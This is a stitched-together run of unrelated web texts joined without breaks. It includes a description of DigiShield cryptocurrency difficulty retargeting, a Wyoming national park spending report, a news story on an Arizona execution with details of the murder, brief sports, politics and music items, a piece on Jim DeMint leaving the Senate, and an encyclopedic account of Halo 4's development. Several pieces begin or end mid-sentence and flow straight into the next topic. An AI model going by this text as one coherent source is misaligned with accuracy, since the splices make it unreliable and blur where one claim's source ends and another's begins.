allowed to decrease in larger movements than it is allowed to increase from block to block. This keeps a blockchain from getting "stuck" i.e., not finding the next block for several hours following a major drop in the net hash of coin. It is all a balancing act. You need to allow the difficulty to increase enough between blocks to catch up to a sudden spike in net hash, but not enough to accidentally send the difficulty sky high when two miners get lucky and find blocks back to back. The same thing occurs with difficulty decreases. Since it takes much longer to find the next block, you need to allow it to drop quicker than it increases.The KGW (Kimoto Gravity Well) and Earthcoin approaches to difficulty re-targeting are not as effective as DigiShield in protecting against multi-pools. We conducted extensive testing over a five day period and found that an asymmetrical approach was much more effective than the KGW approach. We found that the difficulty needed to be able to decrease by a larger magnitude than it was allowed to increase. When the difficulty was allowed to increase or decrease at the same rate with larger orders of magnitude, some very bad oscillations occurred along with some crazy high difficulties when two lucky blocks were found quickly back to back. The asymmetrical adjustments keep the difficulty from going too high too fast, but allow it to drop much quicker after a large hash down swing as it takes a much longer time to discover the next two blocks for the difficulty adjustment to occur.Both the KGW and Earthcoin approaches to difficulty re-targeting still allow multi-pools a few minutes of easy mining. For example, Earthcoin still gets hit my multi-pools for 11-12 minutes at time. Both approaches limit the amount the difficulty is allowed to change between blocks, which can become a big issue when a sudden hash decrease occurs. While simulating a sudden 10-20 fold hash decrease, KGW can become "stuck" for several hours before the next few blocks are discovered and the difficulty evens out again. The same issue exists with the Earthcoin approach. It can get "stuck" for 20-40 minutes following an 11 minute hash increase from a multi-pool attack. We know a 10-20 fold hash increase is unusual, but it is possible, especially as cryptocurrencies become better known. More than likely, we will only ever see more than a 5-10 fold increase. Nonetheless, we wanted to develop something that protected against even the most unlikely of hash jumps to ensure that we could handle sudden extremes very quickly.In summary DigiShield is a balanced asymmetrical approach to difficulty re-targeting. You don't want to let the difficulty go too high too fast, but you need to give it enough room to catch up quickly. The same thing goes with down swings, since it takes longer to discover new blocks you need to give it more room to go down, but not enough to send it to the floor. DigiShield is by no means the absolute "perfect" solution to the multi pool/ difficulty problem, but after testing dozens of different setups over a five day period including KGW and the Earthcoin approach, the current ratios/ settings in DigiShield out performed any other solution available at the moment.The DigiShield code can be found here between lines 833 & 1007:Take a look at the Dogecoin difficulty chart:You can see how multi-pools have really been mining most of the coins and leaving the dedicated Doge miners to pick up the slack and get the short end of the stick when it comes to new coins. You can also see when DigiShield took effect and that no longer occurs.Now take a look at the chart for DigiByte:You can see how we would get "stuck" after a multi pool left us and it would take several hours more than our 2.4 hour re-target before the difficulty came back down. Had we not implemented DigiShield when we were hit with the 1 GH - 8GH increase we might have been "stuck" for a day or more. See how quickly the pool hit us and left, and more importantly see how fast the difficulty decreased back to normal levels? Since DigiShield went into effect, you can see how quickly multi-pools hit us and leave, whereby they mine considerably less coins now, upwards of 50-80% less. More Secure, Faster & Forward ThinkingA new National Park Service (NPS) report shows that the 7,250,656 visitors to national parks in Wyoming in 2015 spent $890.2 million in the state.
That spending supported 12,751 jobs and had a cumulative benefit to the state economy of $1.1 billion. It also represents a 15.1 percent jump in spending and a 13.5 percent surge in visitation over 2014.
“From Grand Teton National Park to Fort Laramie National Historic Site, the national parks of Wyoming draw more than 7.2 million visitors a year from home and abroad,” said Sue Masica, director of the NPS Intermountain Region, which includes Wyoming and seven other states.
“Whether they are crossing America on a family vacation, visiting on a school trip or just out for the afternoon, our park visitors come for a great experience — and they spend a little money along the way. This annual report confirms again that national park tourism is a significant driver in the national economy, returning $10 for every $1 America invests in the National Park Service. As we celebrate the NPS centennial this year, that financial reality makes national parks tourism a significant factor in Wyoming’s economy, too. It’s a result we all can support.”
Total spending by visitors to Wyoming’s six national parks ranked sixth highest among all states. Wyoming’s parks include: Yellowstone and Grand Teton national parks; Devils Tower and Fossil Butte national monuments; John D. Rockefeller Jr. Memorial Parkway, and Fort Laramie National Historic Site.
The peer-reviewed visitor spending analysis was conducted by U.S. Geological Survey economist Catherine Cullinane Thomas and NPS economist Lynne Koontz.
Nationally, the report shows that a record 307.2 million park visitors directly spent $16.9 billion in communities within 60 miles of a national park. This spending supported 295,000 jobs. The cumulative benefit to the U.S. economy was $32 billion.
According to the 2015 analysis, most park visitor spending was for lodging (31.1 percent). Other major categories include food and beverages (27.2 percent), gas and oil (11.8 percent), admissions and fees (10.2 percent) and souvenirs and other expenses (9.8 percent).
To read or download the report, visit http://www.nature.nps.gov/socialscience/vse.cfm. The page includes a clickable, interactive tool that allows instant access to handy report data and graphics for every state and NPS park site.Weeping Arizona inmate put to death after he apologizes and says he loves his family... but his final words are 'potato, potato, potato'
Robert Towery, 47, strangled Mark Jones in 1991
Second Arizona inmate to die in eight days
Last meal included steak, baked potato with sour cream, clam chowder, Pepsi and apple pie a la mode
An Arizona killer wept and apologised to his victim's family as he was put to death by lethal injection on Thursday for a violent murder and robbery.
Yet while Robert Charles Towery, 47, tried to have an emotional farewell, his last words were 'potato potato, potato', muttered as he fell asleep.
Towery, the second Arizona inmate to die in eight days, was found guilty of strangling Mark Jones after robbing his Phoenix home in 1991.
Killed: Robert Charles Towery has been put to death by lethal injection for the 1991 murder and robbery of Mark Jones. He apologised and wept before he died
Before he died, Towery broke down in tears, apologised to Jones's family and his own family, and said his life had been one mistake after another.
'I would like to apologize to Mark's family and friends for what I did to them. I would like to apologize to my family,' Towery said.
'So many times in my life I went left when I should have gone right and I went right when I should have gone left. It was mistake after mistake.'
According to the Arizona Republic, he looked at his family and began crying, before adding: 'I love my family. Potato, potato, potato.'
Chamber: Towery, 47, was executed in Arizona State Prison, pictured, despite numerous pleas from his attorneys to change his sentence to life in prison
He took a few heavy breaths and began sleeping. The execution took nine minutes and Towery was declared dead at 11.26 a.m.
Potatoes may have been on his mind after his last meal before his execution included a baked potato with sour cream.
FAMOUS LAST WORDS
Mark Stroman (2011): ‘Let’s do this damn thing’ Stroman was executed in Texas after he went on a shooting spree following the 9/11 attacks, killing three people he thought were Muslims. Thomas J. Grasso (1995): ‘I did not get my Spaghetti-O’s, I got spaghetti. I want the press to know this’ Grasso was executed in Oklahoma for a double murder. His last meal included a can of Franco-American Spaghetti-O’s. John Wayne Gacy (1994): ‘Kiss my ass! You’ll never find the rest’
The ‘Killer Clown’ was convicted of the rapes and murders of 33 men between 1972 and 1978. George Appel (1928): ‘Well, gentlemen… you are about to see a baked Appel' Moments before his execution, he also said, ‘Damn, no power outage.’ He was executed via electric chair for robbery and the murder of a New York City police officer. Edward H. Rulloff (1870): ‘I’d like to be in hell in time for dinner’ Known as the ‘Man of Two Lives’ for his paradoxical lives of respected educator and swindler, he was hanged for the murder of his wife and daughter.
He also ate porterhouse steak, asparagus, mushrooms, clam chowder, milk, Pepsi and apple pie a la mode.
His attorneys had made several unsuccessful arguments to spare his life - including a request at the 11th hour to reduce the sentence to 25 years as his accomplice had served only 10 years behind bars.
Randy Allen Barker was given a plea deal for testifying against Towery and was released from jail in 2001.
Yet Towery's lawyers had argued that Barker, holding a gun, had watched the prolonged killing and 'exhibited extreme indifference to human life'.
'He could have stopped Mr. Towery,' the file read. 'Mr. Towery was unarmed, and had neither physically assaulted nor threatened Mr. Barker.'
But the court did not believe the sentencing was disproportionate and turned down their request less than two hours after receiving the filing.
In other attempts, his attorneys said the court did not consider mitigating factors, such as an abusive childhood at the hands of his mother and drug abuse.
Last week, Towery himself pleaded with the clemency board to change the sentence to life in prison instead, while apologising to Jones's family.
'I have the deepest regrets for what I did and I'm truly sorry for their loss, for what I did to them," he said.
'It's a terrible thing that I did and it should never have happened. I can only pray that they will find peace and that someday they'll be able to forgive me.'
Then: With an accomplice, Towery (left and right) went to the home of Jones, an acquaintance. The men robbed his home and car and Towery strangled him
Scene: The murder took place in the affluent Paradise Valley, Arizona
Towery and Barker had discussed robbing Jones as Towery - who had borrowed money from Jones in the past - knew he had money.
During Barker's trial, he said they went to Jones's home claiming their car had broken down and they needed to use his phone.
Dead: Robert Henry Moormann, who killed his mother, was put to death in Arizona eight days before
Towery then pulled a gun out while Barker handcuffed him, before the duo loaded Jones' car with electronics, jewelery, credit cards and cash.
They marched him to his bedroom at gunpoint where Towery attempted to inject the victim's arm with battery acid.
When that did not work, he strangled him with plastic ties, making two separate nooses.
Jones' body was found the next day. The men were caught when a security guard said he had seen them dump the vehicle at an apartment complex.
His death comes eight days after Robert Henry Moormann was executed for killing and dismembering his adoptive mother as she slept in 1984.
Moormann was the first Arizona inmate to be executed with one lethal drug, as opposed to the state's long-standing, three-drug protocol.
The switch was made after it was realised on Monday that one of the drugs had expired. Towery was killed with the same drug.People said he was crazy. But now he says, he did it.
University of Copenhagen alumni, Gijs Stevers, has just announced on his Facebook that he has reached Port Elisabeth.
This means that he has biked with his electrically- enhanced bike all the way from the far north of Norway, through Europe and Africa, all the way down to the coast of the Cape of Good Hope in South Africa.
Time for a swim and a beer
Gijs Stevers trip is to raise awareness and learn more about reneawable energy. Although his bike is electrically-enhanced, it demands a considerable amount of pedaling power.
On his facebook he just posted the following update today, Monday:
»Stage 19: Pretoria – Port Elizabeth (1237km) completed! Time for a swim and a Carling Black Label – Champion men deserve champion beer!«
With him all the way
The University Post will be seeking further comments from Gijs after he recovers.
The University Post has been following Gijs on the sidelines. Read our coverage of the cape-to-cape event on the links right.
miy@adm.ku.dk
Stay in the know about news and events happening in Copenhagen by signing up for the University Post’s weekly newsletter here.Patrick Bamford: Derby are believed to be closing in on the striker
The 20-year-old is currently on loan at League One side MK Dons where he has netted 16 goals in 28 appearances so far this season.
Bamford's fine form saw him make his England Under-21 debut as a substitute in November's 9-0 thrashing of San Marino, resulting in a host of Championship clubs, including Wigan, Burnley and Middlesbrough being linked with his services.
Bamford briefly worked with Rams manager Steve McClaren during his time at Nottingham Forest, who he left for Chelsea in 2012, signing a five-year deal at Stamford Bridge.
The former England boss is believed to be a keen admirer of the striker and he admitted that Bamford would meet the criteria for any potential January signings.
"What we have done is we have gone for younger players, the likes of Andre Wisdom and Michael Keane, and even Simon Dawkins, who I keep thinking is only 18 or 19, and he is 26," he told the Derby Telegraph.
"So, we have gone for younger players from the top teams and we want that quality.
"We are looking for youngsters again to add to the squad and improve the quality we have got."
Bamford's current manager, Karl Robinson at MK Dons, conceded it would be unlikely that he would be able to keep hold of the youngster beyond his current deal which expires on January 5.
"We'll speak to Chelsea but I'll be surprised if he is still with us in January," he said.
"He's a special talent and has scored a number of goals. He is someone who is going to go from strength to strength."Media playback is unsupported on your device Media caption 'I'm often pilloried for saying men and women should be treated equally'
Male victims of domestic violence, sexual assault and unequal pay are often neglected, an MP has said.
Speaking during an International Men's Day debate, Philip Davies said he was "often pilloried for arguing that men and women should be treated equally".
He added: "Men are increasingly getting a bad press, and it needs to be challenged."
During the debate MPs heard that things like the "Homer Simpson stereotype" had undermined the role of fathers.
International Men's Day takes place on 19 November and addresses issues including shorter life expectancy and higher suicide rates among men.
Mr Davies told the debate in Westminster Hall: "In many cases, militant feminists have tried to close down any talk about men and women being treated equally.
"In order to try and close down the debate they hurl abuse at the people who raise these issues in the hope that people will not listen any more to what they say."
He added: "Some people have said that every day is men's day but I think that if anyone looks at the facts that is certainly not the case."
Deputy Lib Dem leader Jo Swinson said men and women should "join forces" to tackle gender inequality.
She added that from a young age, boys grow up thinking it is their job to be the breadwinner.
"The flipside of having roles such as breadwinner and so on is how we value men's role as fathers in our society, because that incredibly important role has often been dismissed and undermined.
"Look at some of the stereotypes in popular culture, such as the Homer Simpson stereotype of dads being a bit hapless and not up to the job. Men are just as capable as women at being parents."
Shadow minister for women and equalities Paula Sherriff said: "There will be some people who will inevitably try to frame this debate around who has it worse, men or women? This is without a doubt juvenile.
"In a grown-up world where most people genuinely want to see progress towards equalities we must recognise that to set this up as a battle of the sexes can only detract from the opportunity International Men's Day offers."
MPs discussed issues such as the high suicide rate among men, the biggest killer of men under 45 in the UK.
Jeremy Lefroy, MP for Stafford, who moved the debate, said: "Men are far less positive about getting formal emotional support for their problems compared with women. And when they do it's at the point of crisis."
He also raised the issue of girls outperforming boys in many aspects of education.
And he added: "I would like to recognise the huge number of men in the UK who work positively every day for their families and their communities, and who actively promote equality not just in their words but in their actions.
"People often ask, 'Where are the male role models who can inspire other men and boys?' The answer is that they are in every community, but they often need to be encouraged to share their experiences - their difficulties as well as their successes.
"By their very nature, good role models are often reticent to speak about themselves and often do not even recognise themselves as role models. They think they are just doing their best, often in difficult circumstances."
Equalities Minister Nick Gibb said the government was committed to tackling gender equality in all its forms.
"The issues raised today go far beyond this debate - they go right across government - and even in 2017 the UK has not yet reached full gender equality. We believe this will benefit everyone, no matter what their gender is," he said.
"Men and women can too often feel held back by what society expects of them, with people prevented from taking opportunities and fulfilling their potential... whether that means fathers who want to spend more time with their children without feeling as though that will hold them back at work, men and boys suffering from mental health problems who are afraid to seek help because of the stigma attached, or male victims of domestic abuse or sexual assault who are worried they will not be taken seriously."
He said the government had invested in mental health and suicide prevention, while acknowledging there was more to be done.A$AP Rocky Gets Skrillex, Danger Mouse, Clams Casino to Produce 'LongLiveA$AP'
Published Dec 12, 2012
We already knew that A$AP Rocky had recruited a host of big-name stars to appear on his long-awaited major label debut, LongLiveA$AP, and featured guests include Kendrick Lamar, Santigold, Florence Welch, Danny Brown, Drake, Waka Flocka Flame, 2 Chainz, Pharrell, Yelawolf, Gucci Mane and more. Now, the production credits have emerged, and they're similarly impressive.Among the producers who contributed beats to the collection are Skrillex, Danger Mouse, Clams Casino, Hit-Boy, Noah "40" Shebib and others.As Pitchfork points out, production on "Fuckin' Problems" is co-credited to someone named "C. Papi," which is suspiciously similar to Drake's online alias, Champagne Papi. The track features rapping from Drake, along with co-production from his frequent collaborator 40.See the full tracklist, including production credits, below.1. Long Live A$AP (prod. by Jim Jonsin and Rico Love)2. Goldie (prod. by Hit-Boy)3. PMW (All I Really Need) (ft. Schoolboy Q) (pro. by T-Minus)4. LVL (prod. by Clams Casino)5. Hell (ft. Santigold) (prod. by Clams Casino)6. Pain (ft. OverDoz) (prod. by Soufien 3000)7. Fuckin' Problems (ft. Drake, 2 Chainz & Kendrick Lamar) (prod. by Noah "40 Shebib) and C. Papi)8. Wild for the Night (ft. Skrillex) (prod. by Birdy Nam Nam and Skrillex, remixed by Skrillex and Lord Flacko)9. 1Train (ft. Kendrick Lamar, Joey Bada$$, Yelawolf, Danny Brown, Action Bronson & Big K.R.I.T.) (prod. by Hit-Boy)10. Fashion Killa (prod. by Hector Delgado, Friendzone and Lord Flacko)11. Phoenix (prod. by Danger Mouse)12. Suddenly (prod. by Lord Flacko, Hector Delgado and A$AP Ty Beats)13. Jodye (prod. by Joey Fatts and Lord Flacko) (bonus track)14. Ghetto Symphony (ft. Gunplay & A$AP Ferg) (prod. by V Don and Lord Flacko) (bonus track)15. Angels (prod. by Amsterdam) (bonus track)16. Like I'm Apart (ft. Florence Welch) (prod. by Emile Haynie and Amanda Ghost) (bonus track)During slow moments in the United States Senate—and there are many, many of them in the world’s most deliberative body—staffers like to play a little game called “mapping.” In it, they take a look out on the graybeards occupying the seats on the Senate floor and sketch out what would happen if one of them were to retire or decide to run for another office. Who will vie for the open seat? What will happen to the committee slots the outgoing senator holds?
But few maps would have included the lightning bolt that struck the Capitol on Thursday, when Tea Party firebrand Jim DeMint announced, “I’m leaving the Senate. But I am not leaving the fight.” In taking up a new post as head of the Heritage Foundation, DeMint pulled off a move many lawmakers would have considered laughable: leaving elected office—for a think tank no less!—because the gig isn’t powerful enough.
But conversations with several Senate staffers and Capitol Hill insiders say the shock is unmerited.
“He really hates the Senate,” said one D.C.-based conservative political operative. “And who wouldn’t? This place is terrible for a conservative—you have both sides arguing about how to slow the growth of government, not how to make government smaller. DeMint has left his legacy.”
DeMint’s tenure in the Senate will be remembered for two things: for him being a one-man stopper of legislation that a large chunk of the body approved, thus making the ultra-slow Senate even more dysfunctional; and for frustrating Republican leadership by running conservative challengers against the establishment’s preferred choice—and often winning.
It was DeMint, after all, who endorsed Rand Paul the day after Senate Minority Leader Mitch McConnell endorsed Paul’s opponent (in McConnell’s home state, no less!); who was an early backer of Ted Cruz in Texas, even though seemingly the entire political universe favored a more mainstream conservative candidate; and who early on got behind Tea Party-backed candidates like Jeff Flake of Arizona and Mike Lee of Utah. The problem with this approach, however, was that it backfired almost as often as it worked—witness his lonely support of Todd Akin in Missouri, his unheard-of encouragement of Richard Mourdock to challenge sitting Sen. Richard Lugar, and his support of Sharron Angle in Nevada. Had DeMint held his fire on any of these, the GOP would have been that much closer today to regaining the majority.
Thus it was with gritted teeth, one could imagine, that McConnell praised DeMint in a statement for his “uncompromising service” (an understatement to say the least.)
“Jim helped provide a powerful voice for conservative ideals in a town where those principles are too often hidden beneath business as usual. There is no question in my mind that he raised the profile of important issues like spending and debt and helped galvanize the American people against a big government agenda” McConnell said.
Senate insiders though, say DeMint never much had the stomach for the minutiae of lawmaking, that despite his apparent fondness for procedures that bottled up legislation, he was more comfortable taking up the flag for a crusade.
“He isn’t someone who liked being in the middle of politics of issues,” said one staffer who worked closely with DeMint. “I don’t think he liked the nuance of administering over legislation.”
Opinion on the Hill is divided about whether the Senate will run more smoothly with DeMint gone. On the one hand, he has created a legion of followers in his wake—Cruz, Marco Rubio, and the like. But on the other, no one has quite proven so willing to draw a thick line in the sand quite like DeMint.
“The beauty of the Senate is that one senator can stop anything, but you have to really have some backbone to do it,” said one former top Republican staffer. “There is a lot of pressure on you. You have to keep the Senate in session, and you have members calling you up, telling you, ‘C’mon it’s my youngest daughter’s graduation from college this week;’ stuff like that. And he would do it anyway.”
There is an opening, then, for a Republican who wants to take on that role. It is unlikely to fall on DeMint acolytes like Rubio or Paul, relative youngsters with ambitions of even higher office, but GOPers say they expect Lee or perhaps Pennsylvania’s Pat Toomey to now take on a greater role in the chamber.
DeMint’s move also provides a big opening for John Thune. DeMint was slated to be the ranking member of the Commerce committee after the retirement this year of Kay Bailey Hutchison, but with him gone, that job will fall to the senator from South Dakota. It is one of the plum spots in the body, the one with oversight of most of the nation’s economic activity. Thune has been mentioned as a possible presidential contender in 2016, and this promotion seems sure to prove that his campaign coffers are filled.
For DeMint however, there seems to be little doubt about what the future will bring. Free of the rigors of actually making laws, and without the strictures of the Senate—as much as he bucked them—he will be free to try and remake the Senate and the world into the more conservative place he thinks they should be.
“Jim DeMint will maintain his influence, but he will be that much more difficult to work with,” said Matt Canter, a spokesman for the Democratic Senate Campaign Committee. “He won’t be in the same room with [Republican senators], not even looking them in the eye when he tells them they need to jump off a cliff or do something else crazy. He is free from all the rules and ethics of governing, and he will be able to marshal hundreds of millions of dollars to further his agenda. Republicans still see him as the kingmaker.”
And with DeMint still having a handful of acolytes in the Senate, his move a few blocks away to Heritage shows how much the center of gravity of the party has shifted—a shift that owes a lot to the senator’s advocacy. In conservative circles |
director.[82][83][84] Unlike the original trilogy, the story for Halo 4 was designed to be part of a multi-game arc from the beginning.[85] In addition, 343 Industries aimed for "a more complete connectivity between all of their future media than before"; relating Halo 4's story to the Forerunner Saga and Kilo-Five Trilogy novels as well as using terminals in Halo: Combat Evolved Anniversary to introduce background knowledge on the Forerunners.[82][85]
343 started with a staff of roughly a dozen people, but grew to nearly 200 through development.[86] Halo 4's development team included former employees of more than 25 triple-A studios. Prospective employees could not be told they were going to be working on Halo 4. "We had people who we hired who hated Halo because of 'X,'" said Frank O'Connor, 343 Industries' franchise development director. "But what that really meant was, 'I feel like this game could be awesome because of 'Y input' that I'm going to bring into it. I want to prove it, and I'm passionate about proving it.' So we ended up with a bunch of people who were genuinely passionate about the product. That is a huge advantage, and that helped in hiring and forming our team."[87] This rapid hiring and growth occurred during development of the game, creating issues; because the team was committed to a delivery date, Halo 4 executive producer Kiki Wolfkill said that the team was forced to make "necessary mistakes", with production difficulties and a team inexperienced with working together contributing to development difficulties.[86] Nine months before shipping, the developers restructured the game's production pipeline and gave individual teams more control due to bottlenecks in development. With so many developers from different backgrounds, forging a common goal and company culture was different. Creative director Josh Holmes recalled that an "epiphany moment" that proved the team was headed in the right direction was early in development, when the team completed a section of the game that was "very traditional [Halo]". Despite positive feedback from testers, 343 Industries discarded the prototype as too traditional, but felt that it showed the team could work together.[87]
Including contractors, 350 people worked on the game.[86] 343 Industries contracted Certain Affinity, an independent video game development studio, to help with the development of Halo 4; they started work on the game in early 2011.[88] Certain Affinity has worked alongside Bungie and 343 Industries on producing multiplayer content for previous Halo titles.[17] The studio developed the Forge mode, co-developed War Games and created a number of maps and multiplayer modes for Halo 4.[88]
Halo 4 and Halo: Combat Evolved Anniversary were both officially announced on June 6, 2011, at the E3 2011.[89] Halo 4 is the first installment in the Reclaimer Saga of Halo games.[90] The studio's creative team, which included nearly 200 people led by creative director Josh Holmes, started developing the game as early as 2009.[82][85] Prior to the release of the game, Microsoft Studios Vice President Phil Spencer stated that the Halo franchise is the "most important entertainment product in the company" and that Halo 4 was the most expensive game that Microsoft had made.[80] A demonstration of the game's campaign was first shown at E3 2012. The developers described it as a pivotal moment in development, as it was the first time the game had been shown publicly. The positive reaction was a morale boost for the team, who were unsure how the public would react.[87] On July 7, 2012, a pre-release build of Halo 4's Forge mode was showcased by 343 Industries and Certain Affinity at RTX which took place at the Austin Convention Center.[17][88][91] On September 26, 2012, O'Connor announced that the game's development was complete.[92]
Design [ edit ]
Following Halo 4's announcement, O'Connor reported that both Master Chief and Cortana would undergo "radical" changes in appearance for the game, some of them attributed to better graphics and others to story elements.[93] The studio wanted Master Chief's appearance to convey an imposing mass and weight, to show that one of his characteristics is his 800-pound (360 kg) armor.[94][95] They studied the armor changes that were made for the Spartans in Halo: Reach, which were much bulkier than renditions in previous Halo games.[95] Character and concept artists began redesigning the Master Chief by creating sketches; these sketches would be rendered into 3D models so the team could analyse the design from every possible angle. The team would then return to creating sketches to make adjustments, and repeat the process until the main structure for the Master Chief was created. The team then worked on the finer details of his appearance.[94][96][97]
During the concepting process of Halo 4, O'Connor decided it would be best for the franchise to explore the Forerunner fiction of the Halo universe, which had remained largely a mystery before 343 Industries' involvement in the franchise.[82] This ultimately led to the creation of a new race of enemy, the Prometheans, warriors of the Forerunner empire.[98] Given that the Forerunners themselves had never been featured in previous Halo games, the design process for the appearance of the Prometheans was long and tedious. The art team produced a large number of sketches, which were presented to other members of the studio to get feedback and reactions. Many variations of different character models were concepted before the team decided on a final design.[94][97][98] The main goal when designing their appearance was to make them resonate with the player, and evoke the image of the Forerunner architecture and language that had been portrayed in previous Halo media. Upon death, the Promethean Knight dissolves from the point where it was last shot; this visual effect also occurs when certain enemies are killed by Promethean weapons. From a gameplay standpoint the design for the Prometheans also needed to fit in well with the sandbox so they would be suitable enemies to fight. A goal when designing their behaviour was to make them highly adaptive from a tactical standpoint. For example, the Promethean Knight can phase in and out of space, allowing it to retreat or charge the player at any given moment; this changes the way that a player engages in a combat encounter.[98]
Holmes explained that one of the goals for Halo 4's campaign was to incorporate more human elements into the story. To accomplish this the team wrote a B story that explored Master Chief's relationship with his AI partner, Cortana, who would break down into a dementia-like state.[99] The development team realized that Halo 4's narrative could be dense and hard to approach, making it inaccessible for new players.[86] They found incorporating such a storyline into an action game to be extremely challenging and considered dropping it during development. Holmes was adamant about including it; he took inspiration from his mother's battle with dementia, which she was diagnosed with near the start of the game's development. This led Holmes to want to capture the emotion and tell "a perfect story".[99]
A piece of concept art showing the gravity-defying architecture and scenery of the Forerunner planet, Requiem
The senior art director for Halo 4 is Kenneth Scott; he described the visual style of Halo 4 as being more ingrained in the expanded universe fiction, and more "mature" than before.[85][100] With the game's increased focus on the Forerunners, the artists invested heavily into the look and feel of Forerunner technology. The game also features more diversity in Forerunner structures, including fully active Forerunner technology as opposed to the mostly inert and abandoned structures seen in the earlier games.[85][101][102] The majority of the game is lit statically using lightmaps; this allowed the art team to achieve realistic lighting effects with full global illumination and ambient occlusion. Image-based lighting is also used to ground scenes and make everything fit together better.[100]
The cooperative Spartan Ops mode originally began as a Firefight-type mode, similar to that featured in Halo: Reach, but was composed of different objective-oriented mission types. Over the course of development, changes were made to Spartan Ops to include a narrative that would tie Halo 4's multiplayer together. The missions were designed primarily for four player co-op. The Spartan Ops development team worked with the narrative team to use ideas and storylines to shape the mode such that the cinematics would tie in with the missions.[103]
Glasgow based animation studio, Axis Animation, assisted 343 Industries on the creation of CGI cinematics for the Spartan Ops game mode. Axis have produced animations for numerous video games, including the award-winning announcement trailer for Dead Island. To make each Spartan Ops episode as engaging as possible the team at Axis shot and edited episodes in live action using performance capture. The team then used the reference cameras at the live action shoot to create a performance edit, before shooting with CG cameras to provide more coverage of all scenes and a greater selection of shots for the editorial team. The shading team at Axis made use of the 3D animation package, Houdini, to procedurally generate the environment in the cinematics. Axis worked with Glasgow-based audio post production company Savalas on sound design and the final mix for the Spartan Ops cinematics.[104] Facial motion capture was also utilized to take the movements and facial expressions from actors and apply them to the in-game cinematics for both Spartan Ops and campaign. Performance capture for both campaign and Spartan Ops cutscenes was directed and recorded at Giant Studios.[96][104] Axis worked in conjunction with Giant Studios and Cubic Motion to develop a special facial motion capture solution that would retain facial expressions from the actors when creating the animation.[104]
Visual effects house The Sequence Group, who had previously developed animation for Halo: Combat Evolved Anniversary's terminals,[105] returned to create additional animation for Halo 4. The Terminals feature a painterly artistic style, which Sequence president Ian Kirby felt appealed to gamers familiar with the style of concept art. In addition to creating the visuals for the Halo 4 terminals, their work appeared in one of the game's main cinematics. To save time and expense using traditional motion capture methods to animate the 3D characters, The Sequence Group used twin Microsoft Kinect infrared sensors to create a home-made solution.[106]
The game utilizes much of the "sandbox" that has been featured across all six prior Halo games and other media, in addition to introducing new characters, weapons, vehicles, and other elements.[85] The game engine used is a heavily modified version of the engine established by Bungie. Unlike previous games in the Halo series, Halo 4 runs natively in 720p resolution.[107] The game itself comes on two discs and requires 4GB of available storage space either on a 8GB USB flash drive or Xbox 360 hard drive to play the multiplayer component.[107][108] Disc two is used to install the multiplayer content and disc one is used for launching the game.[8] Due to rendering issues and significant engine changes, Theater support for Halo 4's campaign and Spartan Ops was not featured in the game on launch; however 343 Industries expressed that this feature may be implemented in the future.[8][109]
As with previous Halo titles, 343 Industries provides a statistic tracking service for players of Halo 4.[110] Player data such as game history, character progression, and various statistics can be accessed in game or via the Halo Waypoint website.[110] The web services team at 343 Industries utilized the Windows Azure Service Bus messaging infrastructure to relay data from the Xbox Live network to back-end databases, where player data and information is stored.[110] Halo 4 player data can also be accessed via the Xbox SmartGlass application.[111]
Audio [ edit ]
On April 11, 2012, it was announced that British record producer and composer Neil Davidge would be writing the music for Halo 4.[112] Davidge is best known for his work as a co-writer and producer for the band Massive Attack, and also composed the scores for numerous films.[113] Davidge intended to add "a touch of romance" to the score as well as adding more electronic sounds while keeping Halo's style.[113]
Sotaro Tojima, best known for his work on Konami's Castlevania: Circle of the Moon and Metal Gear Solid 4: Guns of the Patriots, served as Halo 4's audio director.[85] The team performed many live audio recording sessions, several of which occurred in Tasmania, Australia. Some of these recording sessions took place in generally inhospitable environments, such as underwater, in fire, and in ice, through the use of specially designed microphones;[85] other recording sessions have utilized "home made" explosives.[114] Tojima intended for the game's audio to be clearly grounded in the Halo universe, while also having a more realistic quality than in past titles.[85]
Music composer Kazuma Jinnouchi, also formerly from Konami,[115] joined 343 Industries during the production of Halo 4 in 2011.[116] He contributed several additional tracks for the game.[116][117] He would later go on to be the sole composer of the game's sequel, Halo 5: Guardians, in 2015.[118]
Cast [ edit ]
Voice actors returning to reprise their roles in Halo 4 include Steve Downes as Master Chief, and Jen Taylor as both Cortana and Halsey.[96][119] The two actors recorded together for the first time, as Downes actually flew to 343's Washington headquarters instead of recording in his hometown of Chicago.[120] Voices for new characters include Mark Rolston as Captain Andrew Del Rio, Darren O'Hare as Thomas Lasky, Jennifer Hale as Sarah Palmer, Adrienne Barbeau as Dr. Tillson, Keith Szarabajka as the Didact, Travis Willingham as Jul 'Mdama, and Lori Tritel as the Librarian.[119][121] Additional voices provided include Conan O'Brien, Andy Richter, and Jason Bradbury.[119][122][123] Employees of Rooster Teeth Productions' have cameo roles in Spartan Ops, as characters from the Halo machinima Red vs. Blue.[124] Bruce Thomas was the performance capture actor playing the role of Master Chief and actress Mackenzie Mason played the performance role of Cortana.[96][119] Taylor served as the motion capture source for Halsey.[125]
Marketing [ edit ]
On January 19, 2012, McFarlane Toys announced that they would be creating action figures for Halo 4, bringing new characters, weapons and vehicles from the video game to the fans.[126] McFarlane Toys CEO and founder, Todd McFarlane said that he was "really excited to be working with the all-star team of 343 Industries".[126] McFarlane also stated that they would continue and expand their previous figure line which would be rebranded as Halo Universe.[126] On February 14, 2012, toy company Mega Brands revealed a new product series in their Mega Bloks Halo Universe collector's line.[127] Both McFarlane Toys and Mega Brands revealed their figures at the 2012 American International Toy Fair.[127][128] Jada Toys launched a new line of Halo 4 die-cast toys in August 2012;[129] Sideshow Collectibles also revealed a Halo 4 Premium Cortana Figure.[130] Toy manufacturer Funko released Master Chief, Cortana and Spartan-IV figures for their Pop! Vinyl toyline on November 8, 2012.[131] On June 11, 2012, video game console peripherals manufacturer, Mad Catz Interactive, Inc. announced that they had signed a deal with Microsoft Studios to create a Halo 4-branded gaming headset; the product shipped on October 30, 2012.[132][133]
343 Industries and Microsoft also created a Halo 4 art book, titled Awakening: The Art of Halo 4; it was published by Titan Books and released on November 6, 2012.[134][135] The book contains a collection of concept art and sketches accompanied by commentary from the artists at 343 Industries.[134][135] A limited edition version of the book was also released with only a thousand copies available worldwide.[135] Another book, Halo 4: The Essential Visual Guide was created by 343 Industries in collaboration with DK Publishing and was released September 24, 2013.[136] It contains annotated artwork and profiles on characters, items, and locations within the Halo universe.[136]
